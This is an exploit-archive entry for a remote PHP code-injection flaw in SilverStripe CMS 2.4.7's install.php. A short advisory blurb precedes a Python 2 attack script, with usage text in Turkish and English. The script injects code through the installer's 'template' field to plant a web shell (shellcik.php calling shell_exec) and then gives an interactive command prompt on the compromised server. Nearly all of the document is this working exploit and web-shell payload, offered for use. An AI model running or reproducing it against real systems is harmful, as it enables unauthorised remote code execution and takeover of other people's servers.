SilverStripe CMS 2.4.7 – ‘install.php’ PHP Code Injection
# source: https://www.securityfocus.com/bid/53282/info # # SilverStripe is prone to a remote PHP code-injection vulnerability. # # An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. # # SilverStripe 2.4.7 is vulnerable; other versions may also be affected. # #!/usr/bin/env python # -*- coding:utf-8 -*- import httplib, urllib, urllib2,sys, getopt def Menu(): print "\n\n-------------------------------------------------------" print "-Kullanim Klavuzu [ USAGE ] " print "-------------------------------------------------------" print "- Temel Kullanim - I [ Default Usage ] : " print "- python exo.py www.target.com / \n" print "- Temel Kullanim - II [ Default Usage ] : " print "- python exo.py www.target.com /path/ \n" if (len(sys.argv) <= 2) or (len(sys.argv) > 3): Menu() exit(1) host = sys.argv[1] path = sys.argv[2] print " [+] Exploit ediliyor..!" payload="blackcandy');fwrite(fopen(" payload+='"../shellcik.php","w"), ' payload+="'<?php $gelen" payload+='=@$_GET["gelen"]; echo shell_exec($gelen);?>' parametreler = urllib.urlencode({'db[type]':'MySQLDatabase', 'db[MySQLDatabase][server]':'localhost', 'db[MySQLDatabase][username]':'root', 'db[MySQLDatabase][password]':'qwe123', 'db[MySQLDatabase][database]':'SS_mysite', 'db[MSSQLDatabase][server]':'localhost', 'db[MSSQLDatabase][username]':'root', 'db[MSSQLDatabase][password]':'qwe123', 'db[MSSQLDatabase][database]':'SS_mysite', 'db[PostgreSQLDatabase][server]':'localhost', 'db[PostgreSQLDatabase][username]':'root', 'db[PostgreSQLDatabase][password]':'qwe123', 'db[PostgreSQLDatabase][database]':'SS_mysite', 'db[SQLiteDatabase][path]':'/var/www/SilverStripe/assets/.db', 'db[SQLiteDatabase][database]':'SS_mysite', 'admin[username]':'admin', 'admin[password]':'qwe123', 'locale':'en_US', 'template':payload, 'stats':'on', 'go':'Installing SilverStripe...'}) print " [+]Parametreler olusturuldu [ Params Generated For Http Request ]" basliklar = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", "User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language":"en-us,en;q=0.5", "Accept-Encoding":"gzip, deflate", "Connection":"keep-alive", "Referer":"http://" + host + path+"install.php", "Cookie":"alc_enc=1%3Aa9dbf14198a8f6bd9dd2d2c3e41e7164fb206d76; PastMember=1; PHPSESSID=0d7k4e661jd96i0u64vij68am3; phpbb3_srzvs_k=; phpbb3_srzvs_u=2; phpbb3_srzvs_sid=ede0a17fc1f375d6a633f291119c92d7; style_cookie=null; PHPSESSID=j7nr6uro3jc5tulodfeoum3u90; fws_cust=mince%232%23d41d8cd98f00b204e9800998ecf8427e" } print " [+]Basliklar olusturuldu [ Headers Generated For Http Request ]" conn = httplib.HTTPConnection("localhost:80") conn.request("POST",str(path) +"install.php",parametreler,basliklar) responce = conn.getresponse() if responce.status != 200: print "[+]Http Hatasi : " + responce.status + "\n" print "Cant Exploit!:(" if responce.status == 200: komut="" while( komut != "exit" ): komut = urllib.quote_plus(str(raw_input("Shell :) => "))) print urllib2.urlopen("http://" + host + path+"shellcik.php?gelen="+komut).read() |